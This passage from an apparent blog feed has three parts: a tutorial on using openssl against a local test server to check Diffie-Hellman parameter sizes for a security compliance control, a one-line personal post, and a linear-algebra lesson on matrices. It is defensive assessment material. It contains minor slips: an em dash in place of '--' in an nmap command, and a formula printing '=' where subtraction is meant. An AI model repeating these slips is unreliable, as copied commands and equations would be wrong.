# The following command generates a 2048-bit DH parameter file. 
# This defines the DH modulus.
openssl dhparam -out dhparam2048.pem 2048

# The following starts a bare TLS server, forcing TLS 1.2 + DHE so nothing 
# negotiates around it.
openssl s_server -accept 4433 -cert cert.pem -key key.pem \
-dhparam dhparam2048.pem -no_tls1_3 -cipher 'DHE'</code></pre></div><p>2. In a second terminal, connect and inspect both values:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:&quot;3a470f39-8d3d-477a-b454-7ef529e70ef8&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">openssl s_client -connect localhost:4433 -tls1_2 -cipher 'DHE' \
&lt; /dev/null 2&gt;/dev/null | grep -E "Temp Key|Server public key"</code></pre></div><p>You&#8217;ll see something like:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:&quot;4ae7bbc0-fbc5-4fe4-a520-8807104b43a5&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">Peer Temp Key: DH, 2048 bits
Server public key is 2048 bit</code></pre></div><p>Two lines, two different keys, coincidentally matching. Now change just one of them and regenerate the DH params at 1024 bits and point the server at that file instead, and reconnect:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:&quot;0d7e186a-1820-4409-99db-a1c26e53567f&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash"># The following command generates a 1024-bit DH parameter file. 
openssl dhparam -out dhparam1024.pem 1024

# The following command restarts the TLS server 
# but with the 1024-bit DH parameter file. 
openssl s_server -accept 4433 -cert cert.pem -key key.pem \
-dhparam dhparam1024.pem -no_tls1_3 -cipher 'DHE:@SECLEVEL=0'

# Note that you will need to force the weak key with `-cipher 'DHE:@SECLEVEL=0'`</code></pre></div><p>Back in the other terminal (e.g., the &#8220;client side&#8221;), re-run the query:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">openssl s_client -connect localhost:4433 -tls1_2 -cipher 'DHE:@SECLEVEL=0' \
&lt; /dev/null 2&gt;/dev/null | grep -E "Temp Key|Server public key"

# Note you need to force the weak cipher here too.</code></pre></div><p>You will see:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:&quot;0d7e186a-1820-4409-99db-a1c26e53567f&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">Peer Temp Key: DH, 1024 bits
Server public key is 2048 bit</code></pre></div><p>Same certificate. Same authentication strength. But the session key is now being negotiated over a modulus half the size. This demonstrates the gap the original evidence missed; nothing about the cert tells you what&#8217;s happening on that second line.</p><h2>Where TLS 1.3 and ECDHE fit in</h2><p>If you try to reproduce this against a real-world site instead of your own test server, you&#8217;ll almost certainly fail to find classic DH at all, and that&#8217;s the scenario worth paying attention to.</p><p>Most modern servers prefer elliptic-curve Diffie-Hellman (ECDHE) over classic finite-field DHE. It&#8217;s the same idea in terms of negotiating an ephemeral key exchange for the session, but the mathematics runs on an elliptic curve rather than a large prime field. Instead of a &#8220;modulus,&#8221; you&#8217;ll see something like:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:&quot;ea216d57-1cb6-4b17-9762-56d9b8da7571&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">Server Temp Key: X25519, 253 bits</code></pre></div><p>That 253-bit figure isn&#8217;t directly comparable to a DH bit-length because elliptic curve math is far more efficient per bit. X25519 at 253 bits offers strength roughly on par with a 3000+ bit finite-field DH group. It&#8217;s arguably better than what ISM-0472 asks for. But it&#8217;s also a different mechanism entirely, so strictly speaking it falls outside ISM-0472&#8217;s scope (there&#8217;s likely a separate control for elliptic-curve parameters instead).</p><p>There&#8217;s a catch though: <em><strong>a server can support both</strong></em>. Under TLS 1.2, a server&#8217;s configuration can list ECDHE cipher suites <em>and</em> older DHE cipher suites side by side. </p><p>A default scan of the handshake will show ECDHE negotiated, because it&#8217;s preferred. But that doesn&#8217;t mean DHE isn&#8217;t still sitting in the config underneath, pointing at whatever DH parameters were set up years ago and never revisited. If nothing modern ever picks that path, nobody ever notices it as potentially weak. An assessor who only captures the default handshake and sees ECDHE could reasonably, but wrongly, conclude there&#8217;s no DH modulus to worry about at all.</p><p>You can prove this to yourself with the same test server, configured to allow both:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:&quot;82f04406-96c6-4cce-b9c5-d134e258dbfd&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash"># Reuse the earlier cert, but point at the 2048-bit DH param file this time.
# Note we are using the 2048-bit DH param here instead
# of a 1024-bit to avoid the SECLEVEL quirk.

# Start the server allowing BOTH ECDHE and DHE cipher suites:
# no restriction to DHE only
openssl s_server -accept 4433 -cert cert.pem -key key.pem \
-dhparam dhparam2048.pem -no_tls1_3 -cipher 'ECDHE:DHE:@SECLEVEL=1'</code></pre></div><p>Connect with an unrestricted client first. This is what a routine scan captures by default:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:&quot;ff2b0833-3f31-4fdb-9f35-f3deaa9e7ea5&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">openssl s_client -connect localhost:4433 -tls1_2 &lt; /dev/null 2&gt;/dev/null \
| grep "Temp Key"</code></pre></div><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:&quot;966ca290-c75c-41bf-bc00-2da4c4a42789&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">Peer Temp Key: X25519, 253 bits</code></pre></div><p>Looks fine. Nothing to flag. Now force DHE specifically, to check what&#8217;s sitting underneath:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;19efa099-fd03-49d1-a6e8-43cfbbe506ce&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">openssl s_client -connect localhost:4433 -tls1_2 -cipher 'DHE' \
&lt; /dev/null 2&gt;/dev/null | grep "Temp Key"</code></pre></div><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;f3e54b33-4901-4f1b-bf78-ada974bddf05&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">Peer Temp Key: DH, 2048 bits</code></pre></div><p>Same server, same configuration, but two entirely different results depending only on which cipher suite gets negotiated. The first connection alone would have signed off on ISM-0472 as not applicable, but the second demonstrates that it does apply. </p><h3>What about TLS 1.3?</h3><p>TLS 1.3 removes this risk entirely, which is worth knowing about because it changed how DH is allowed to work. A TLS 1.2 server could hand the client any arbitrary DH prime it liked, which is how weak, sometimes reused, primes ended up in production undetected in the first place. TLS 1.3 only permits DH via a small set of pre-vetted groups, all 2048 bits or larger, so weaker moduli are architecturally impossible under TLS 1.3. </p><p>If a TLS 1.3 handshake negotiates DH at all, it&#8217;s already 0472-compliant by construction. The catch is that almost nobody implements it, as most stacks only wire up ECDHE for TLS 1.3, so a TLS 1.3 connection using classic DH at all is rare in practice. It&#8217;s TLS 1.2, still very much alive for backward compatibility, where the real risk sits.</p><h3>The practical takeaway for an assessment</h3><p>Put together, this gives you a decision path for actually testing this control properly:</p><ul><li><p><strong>Enumerate everything the server supports</strong>, not just what a modern client negotiates by default. A tool like <code>nmap &#8212;script ssl-enum-ciphers</code> will show you the full cipher suite list, including any DHE suites that exist purely for backward compatibility but never get chosen in practice.</p></li><li><p><strong>If no DHE suites exist at all and the server only does ECDHE</strong>, then ISM-0472 doesn&#8217;t apply to the system; there&#8217;s no DH modulus in play anywhere.</p></li><li><p><strong>If DHE suites are present alongside ECDHE</strong>, don&#8217;t assume the default handshake tells the whole story. Force DHE explicitly (as shown above) and check what modulus size it actually falls back to. This is precisely the scenario just demonstrated. ECDHE is shown by default, but a DH group is still configured and reachable underneath.</p></li><li><p><strong>Even a &#8220;pass&#8221; here can come with a stronger recommendation</strong>. If DHE is present and checks out at 2048-bit or higher, that's technically compliant as far as ISM-0472 is concerned. But if every real client already supports ECDHE, nothing is actually relying on that DHE fallback, so the tighter finding is often &#8220;disable DHE entirely&#8221; rather than &#8220;leave it, it's compliant.&#8221;</p></li></ul><p>None of this is really about DH being unusual or obscure. It's a reminder that <em>&#8220;a strong key is present&#8221;</em> and <em>&#8220;the specific key this control asks about is strong&#8221;</em> are two different claims, and it's worth knowing which one your evidence is actually making.</p>]]></content:encoded></item><item><title><![CDATA[It's pretty rockstar not to address a hiatus]]></title><description><![CDATA[So here I am, not mentioning it.]]></description><link>https://www.emdeh.com/p/its-pretty-rockstar-not-to-address</link><guid isPermaLink="false">https://www.emdeh.com/p/its-pretty-rockstar-not-to-address</guid><dc:creator><![CDATA[emdeh]]></dc:creator><pubDate>Sat, 18 Jul 2026 02:28:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!ZFh2!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e3ab64a-692c-4b46-903b-f8cbe66d9aba_144x144.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>So here I am, not mentioning it.</p>]]></content:encoded></item><item><title><![CDATA[Linear Transformation and Matrices]]></title><description><![CDATA[Matrix addition and, scalar and square matrices multiplication.]]></description><link>https://www.emdeh.com/p/linear-transformation-and-matrices</link><guid isPermaLink="false">https://www.emdeh.com/p/linear-transformation-and-matrices</guid><dc:creator><![CDATA[emdeh]]></dc:creator><pubDate>Tue, 20 Aug 2024 23:49:53 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7411356b-ad95-4bf6-bc4a-01ab16027925_833x422.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>What&#8217;s a Matrix?</h1><p>A <strong>matrix </strong>is a two-dimensional array that contains the same elements as the vector. A matrix can have <em>m </em>rows and <em>n </em>columns. If it does, it is called an <em>m </em>x<em> n </em>matrix. Consider the matrix <em>A </em>below<em>.</em></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;A = \n\\begin{pmatrix}\na_{11} &amp; a_{12} &amp; a_{13} &amp; \\cdots &amp; a_{1n} \\\\\na_{21} &amp; a_{22} &amp; a_{23} &amp; \\cdots &amp; a_{2n} \\\\\na_{31} &amp; a_{32} &amp; a_{33} &amp; \\cdots &amp; a_{3n} \\\\\n\\vdots &amp; \\vdots &amp; \\vdots &amp; \\ddots &amp; \\vdots \\\\\na_{m1} &amp; a_{m2} &amp; a_{m3} &amp; \\cdots &amp; a_{mn}\n\\end{pmatrix}\n&quot;,&quot;id&quot;:&quot;VLPRZVRZVE&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Each element <em>aij </em>in the matrix is a numerical value displayed in row <em>i </em>and column <em>j.</em></p><p></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!uzDw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe4a283f-0c84-4712-8c20-192757f59f11_367x376.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!uzDw!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe4a283f-0c84-4712-8c20-192757f59f11_367x376.png 424w, https://substackcdn.com/image/fetch/$s_!uzDw!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe4a283f-0c84-4712-8c20-192757f59f11_367x376.png 848w, https://substackcdn.com/image/fetch/$s_!uzDw!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe4a283f-0c84-4712-8c20-192757f59f11_367x376.png 1272w, https://substackcdn.com/image/fetch/$s_!uzDw!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe4a283f-0c84-4712-8c20-192757f59f11_367x376.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!uzDw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe4a283f-0c84-4712-8c20-192757f59f11_367x376.png" width="367" height="376" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fe4a283f-0c84-4712-8c20-192757f59f11_367x376.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:376,&quot;width&quot;:367,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:12939,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!uzDw!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe4a283f-0c84-4712-8c20-192757f59f11_367x376.png 424w, https://substackcdn.com/image/fetch/$s_!uzDw!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe4a283f-0c84-4712-8c20-192757f59f11_367x376.png 848w, https://substackcdn.com/image/fetch/$s_!uzDw!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe4a283f-0c84-4712-8c20-192757f59f11_367x376.png 1272w, https://substackcdn.com/image/fetch/$s_!uzDw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe4a283f-0c84-4712-8c20-192757f59f11_367x376.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><h1>&#8203;Matrix addition</h1><p>To add a matrix to another, the matrices must be of the same dimensions, and the elements need to be added to the correct corresponding index.</p><p>Consider again the matrix <em>A</em>.</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;A = \n\\begin{pmatrix}\na_{11} &amp; a_{12} &amp; a_{13} &amp; \\cdots &amp; a_{1n} \\\\\na_{21} &amp; a_{22} &amp; a_{23} &amp; \\cdots &amp; a_{2n} \\\\\na_{31} &amp; a_{32} &amp; a_{33} &amp; \\cdots &amp; a_{3n} \\\\\n\\vdots &amp; \\vdots &amp; \\vdots &amp; \\ddots &amp; \\vdots \\\\\na_{m1} &amp; a_{m2} &amp; a_{m3} &amp; \\cdots &amp; a_{mn}\n\\end{pmatrix}\n&quot;,&quot;id&quot;:&quot;ALFGHASOBI&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>The dimensions of matrix <em>A </em>are <em>m</em>x<em>n, </em>meaning that the matrix has <em>m </em>rows and <em>n </em>columns. Matrix <em>A, </em>therefore, can only be added to another matrix with <em>m </em>rows and <em>n </em>columns.</p><p>For example:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;B = \n\\begin{pmatrix}\nb_{11} &amp; b_{12} &amp; b_{13} &amp; \\cdots &amp; b_{1n} \\\\\nb_{21} &amp; b_{22} &amp; b_{23} &amp; \\cdots &amp; b_{2n} \\\\\nb_{31} &amp; b_{32} &amp; b_{33} &amp; \\cdots &amp; b_{3n} \\\\\n\\vdots &amp; \\vdots &amp; \\vdots &amp; \\ddots &amp; \\vdots \\\\\nb_{m1} &amp; b_{m2} &amp; b_{m3} &amp; \\cdots &amp; b_{mn}\n\\end{pmatrix}&quot;,&quot;id&quot;:&quot;KIIHSMDHIT&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>The addition is simple, provided that the dimensions match. Add element <em>aij</em>&#8203; in <em>A</em> to the corresponding element <em>bij</em> in <em>B</em>.</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;A + B = \n\\begin{pmatrix}\na_{11} &amp; a_{12} &amp; \\cdots &amp; a_{1n} \\\\\na_{21} &amp; a_{22} &amp; \\cdots &amp; a_{2n} \\\\\n\\vdots &amp; \\vdots &amp; \\ddots &amp; \\vdots \\\\\na_{m1} &amp; a_{m2} &amp; \\cdots &amp; a_{mn}\n\\end{pmatrix}\n+\n\\begin{pmatrix}\nb_{11} &amp; b_{12} &amp; \\cdots &amp; b_{1n} \\\\\nb_{21} &amp; b_{22} &amp; \\cdots &amp; b_{2n} \\\\\n\\vdots &amp; \\vdots &amp; \\ddots &amp; \\vdots \\\\\nb_{m1} &amp; b_{m2} &amp; \\cdots &amp; b_{mn}\n\\end{pmatrix}\n&quot;,&quot;id&quot;:&quot;OLSNWGKUPL&quot;}" data-component-name="LatexBlockToDOM"></div><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;A + B = \n\\begin{pmatrix}\na_{11} + b_{11} &amp; a_{12} + b_{12} &amp; \\cdots &amp; a_{1n} + b_{1n} \\\\\na_{21} + b_{21} &amp; a_{22} + b_{22} &amp; \\cdots &amp; a_{2n} + b_{2n} \\\\\n\\vdots &amp; \\vdots &amp; \\ddots &amp; \\vdots \\\\\na_{m1} + b_{m1} &amp; a_{m2} + b_{m2} &amp; \\cdots &amp; a_{mn} + b_{mn}\n\\end{pmatrix}\n&quot;,&quot;id&quot;:&quot;ALAIFVUUQE&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Below is an example of <em>D = A + B - C, </em>where all matrices are of the same dimension.</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;A = \n\\begin{pmatrix}\n1 &amp; 2 &amp; 3 \\\\\n4 &amp; 5 &amp; 6 \\\\\n7 &amp; 8 &amp; 9\n\\end{pmatrix},\n\\quad\nB = \n\\begin{pmatrix}\n9 &amp; 8 &amp; 7 \\\\\n6 &amp; 5 &amp; 4 \\\\\n3 &amp; 2 &amp; 1\n\\end{pmatrix},\n\\quad\nC = \n\\begin{pmatrix}\n2 &amp; 3 &amp; 1 \\\\\n5 &amp; 4 &amp; 6 \\\\\n8 &amp; 7 &amp; 9\n\\end{pmatrix}&quot;,&quot;id&quot;:&quot;PDJDGOLGME&quot;}" data-component-name="LatexBlockToDOM"></div><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;A + B - C = \n\\begin{pmatrix}\n1+9-2 &amp; 2+8-3 &amp; 3+7-1 \\\\\n4+6-5 &amp; 5+5-4 &amp; 6+4-6 \\\\\n7+3-8 &amp; 8+2-7 &amp; 9+1-9\n\\end{pmatrix} = D&quot;,&quot;id&quot;:&quot;PMVLHKVEWI&quot;}" data-component-name="LatexBlockToDOM"></div><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;D = \n\\begin{pmatrix}\n8 &amp; 7 &amp; 9 \\\\\n5 &amp; 6 &amp; 4 \\\\\n2 &amp; 3 &amp; 1\n\\end{pmatrix}&quot;,&quot;id&quot;:&quot;ZVVILIRAZW&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>If <em> i =  2 </em>and <em>j </em>= 3, then:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;Dij = Aij + Bij = Cij&quot;,&quot;id&quot;:&quot;FOTRESAHHJ&quot;}" data-component-name="LatexBlockToDOM"></div><p>Which is:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;Dij = 6 + 4 - 6&quot;,&quot;id&quot;:&quot;QMPQUZVBXY&quot;}" data-component-name="LatexBlockToDOM"></div><p>That equates to:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;Dij = 4&quot;,&quot;id&quot;:&quot;ERHSFLSZKR&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><h1>Scalar multiplication of Matrix</h1><p>When multiplying a matrix by a scalar, the dimensions and indices need not be verified. Each element of the matrix is simply multiplied by the scalar.</p><p>For example:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\alpha \\cdot A = \\alpha \\cdot \n\\begin{pmatrix}\na_{11} &amp; a_{12} &amp; a_{13} \\\\\na_{21} &amp; a_{22} &amp; a_{23} \\\\\na_{31} &amp; a_{32} &amp; a_{33}\n\\end{pmatrix}\n=\n\\begin{pmatrix}\n\\alpha \\cdot a_{11} &amp; \\alpha \\cdot a_{12} &amp; \\alpha \\cdot a_{13} \\\\\n\\alpha \\cdot a_{21} &amp; \\alpha \\cdot a_{22} &amp; \\alpha \\cdot a_{23} \\\\\n\\alpha \\cdot a_{31} &amp; \\alpha \\cdot a_{32} &amp; \\alpha \\cdot a_{33}\n\\end{pmatrix}\n&quot;,&quot;id&quot;:&quot;FHNAJRAEFC&quot;}" data-component-name="LatexBlockToDOM"></div><p>Where every element of the matrix <em>A</em> is multiplied by the scalar &#945;.</p><p></p><p>Using real numbers, this could be:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;3 \\cdot A = 3 \\cdot \n\\begin{pmatrix}\n1 &amp; 2 &amp; 3 \\\\\n4 &amp; 5 &amp; 6 \\\\\n7 &amp; 8 &amp; 9\n\\end{pmatrix}\n=\n\\begin{pmatrix}\n3 \\cdot 1 &amp; 3 \\cdot 2 &amp; 3 \\cdot 3 \\\\\n3 \\cdot 4 &amp; 3 \\cdot 5 &amp; 3 \\cdot 6 \\\\\n3 \\cdot 7 &amp; 3 \\cdot 8 &amp; 3 \\cdot 9\n\\end{pmatrix}\n=\n\\begin{pmatrix}\n3 &amp; 6 &amp; 9 \\\\\n12 &amp; 15 &amp; 18 \\\\\n21 &amp; 24 &amp; 27\n\\end{pmatrix}\n&quot;,&quot;id&quot;:&quot;JBCPIJRQDA&quot;}" data-component-name="LatexBlockToDOM"></div><p>Where every element of the matrix <em>A </em>is multiplied by the scalar 3.</p><p></p><h1>Multiplication of Square Matrices</h1><p>When multiplying two matrices, the dimensions must align correctly. Specifically, if you have a matrix <em>A</em> of dimensions <em>m</em>&#215;<em>n</em>  and a matrix <em>B</em> of dimensions <em>p </em>&#215; <em>q</em>, multiplication is possible only if <em>n </em>= <em>p</em>. The resulting matrix <em>C</em>=<em>AB</em> will have dimensions <em>m &#215; q</em>.</p><p>The most straightforward scenario is multiplying two square matrices of the same dimensions <em>n </em>&#215; <em>n</em>. That is, both matrices have the same number of rows and columns.</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;Let \\ A\\ and\\ B\\ be\\ two\\ matrices:\\\n\n\nA = \\begin{pmatrix}\na_{11} &amp; a_{12} &amp; a_{13} \\\\\na_{21} &amp; a_{22} &amp; a_{23} \\\\\na_{31} &amp; a_{32} &amp; a_{33}\n\\end{pmatrix}, \\quad\nB = \\begin{pmatrix}\nb_{11} &amp; b_{12} &amp; b_{13} \\\\\nb_{21} &amp; b_{22} &amp; b_{23} \\\\\nb_{31} &amp; b_{32} &amp; b_{33}\n\\end{pmatrix}&quot;,&quot;id&quot;:&quot;IBCQOSCJAB&quot;}" data-component-name="LatexBlockToDOM"></div><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;The\\ product\\ C = AB\\  is:\\\n\n\nC = \\begin{pmatrix}\nc_{11} &amp; c_{12} &amp; c_{13} \\\\\nc_{21} &amp; c_{22} &amp; c_{23} \\\\\nc_{31} &amp; c_{32} &amp; c_{33}\n\\end{pmatrix} \n= \\begin{pmatrix}\na_{11}b_{11} + a_{12}b_{21} + a_{13}b_{31} &amp; a_{11}b_{12} + a_{12}b_{22} + a_{13}b_{32} &amp; a_{11}b_{13} + a_{12}b_{23} + a_{13}b_{33} \\\\\na_{21}b_{11} + a_{22}b_{21} + a_{23}b_{31} &amp; a_{21}b_{12} + a_{22}b_{22} + a_{23}b_{32} &amp; a_{21}b_{13} + a_{22}b_{23} + a_{23}b_{33} \\\\\na_{31}b_{11} + a_{32}b_{21} + a_{33}b_{31} &amp; a_{31}b_{12} + a_{32}b_{22} + a_{33}b_{32} &amp; a_{31}b_{13} + a_{32}b_{23} + a_{33}b_{33}\n\\end{pmatrix}&quot;,&quot;id&quot;:&quot;HMCSWUNXDJ&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Or to demonstrate with actual numbers:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;Let\\ A\\ and\\ B\\ be\\ two\\ matrices:\\\nA = \\begin{pmatrix}\n1 &amp; 2 &amp; 3 \\\\\n4 &amp; 5 &amp; 6 \\\\\n7 &amp; 8 &amp; 9\n\\end{pmatrix}, \\quad\nB = \\begin{pmatrix}\n9 &amp; 8 &amp; 7 \\\\\n6 &amp; 5 &amp; 4 \\\\\n3 &amp; 2 &amp; 1\\end{pmatrix}&quot;,&quot;id&quot;:&quot;WOSOWJNAWE&quot;}" data-component-name="LatexBlockToDOM"></div><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;The\\ product\\ C= AB\\ is:\nC = \\begin{pmatrix}\n(1 \\times 9 + 2 \\times 6 + 3 \\times 3) &amp; (1 \\times 8 + 2 \\times 5 + 3 \\times 2) &amp; (1 \\times 7 + 2 \\times 4 + 3 \\times 1) \\\\\n(4 \\times 9 + 5 \\times 6 + 6 \\times 3) &amp; (4 \\times 8 + 5 \\times 5 + 6 \\times 2) &amp; (4 \\times 7 + 5 \\times 4 + 6 \\times 1) \\\\\n(7 \\times 9 + 8 \\times 6 + 9 \\times 3) &amp; (7 \\times 8 + 8 \\times 5 + 9 \\times 2) &amp; (7 \\times 7 + 8 \\times 4 + 9 \\times 1)\n\\end{pmatrix}&quot;,&quot;id&quot;:&quot;IIMMBOICAW&quot;}" data-component-name="LatexBlockToDOM"></div><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;Simplifying\\ the\\ above:\\\n\nC = \\begin{pmatrix}\n30 &amp; 24 &amp; 18 \\\\\n84 &amp; 69 &amp; 54 \\\\\n138 &amp; 114 &amp; 90\n\\end{pmatrix}&quot;,&quot;id&quot;:&quot;LHJQGSPTUX&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Notice the pattern in finding each element c<em>ij</em> in the resulting matrix <em>C = AB</em>:  each element c<em>ij</em>&#8203; is calculated by taking the dot product of the <em>i</em>-th row of matrix <em>A</em> and the <em>j</em>-th column of matrix <em>B</em>. Specifically, this involves multiplying each element in the <em>i</em>-th row of <em>A</em> with the corresponding element in the <em>j</em>-th column of <em>B</em>, and then summing these products.</p><p>Here is a graphical illustration of this:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!MTnu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0d2cde5-5020-4ac7-87f7-f4938773960b_833x422.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 